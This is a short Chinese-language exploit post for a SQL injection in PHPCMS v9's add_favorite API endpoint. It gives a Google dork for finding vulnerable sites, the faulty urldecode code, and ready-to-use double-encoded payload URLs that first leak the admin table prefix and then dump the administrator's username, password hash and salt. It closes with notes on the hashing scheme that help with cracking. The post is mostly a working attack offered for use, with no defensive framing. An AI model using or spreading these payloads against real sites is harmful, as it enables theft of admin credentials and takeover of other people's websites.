谷歌关键字:inurl:”index.php?m=content+c=rss+catid=10″
在phpcms/api.php?op=add_favorite中使用了urldecode,导致了一个sqlinject漏洞。
$title = urldecode($title);
省略……
$data = array(‘title’=>$title, ‘url’=>$url, ‘adddate’=>SYS_TIME, ‘userid’=>$userid);
省略……
$favorite_db->insert($data);
(需要你先注册一个账户并且登陆后访问那个接口文件才会报错,进而注入!)
利用POC:
1、注册用户后,访问如下URL获取admin表的前缀:
http://www.1990day.com/api.php?op=add_favorite&url=xx.oo&title=%2527
修改如下URL中的admin表前缀名(xxoo_admin),直接爆出管理员的用户名:密码:随机字串
http://www.1990day.com/api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select%2520%2528select%2520concat%25280×23%252Ccast%2528concat%2528username%252C0x3a%252Cpassword%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from%2520xxoo_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and%2520%25271%2527%253D%25271
PS:phpcms v9的加密方式是,先将密码过滤空格后,对密码进行md5加密,然后连接一个随机生成的字符串,并对这个新的字符串加密,生成的md5字符串为最终的md5加密密码。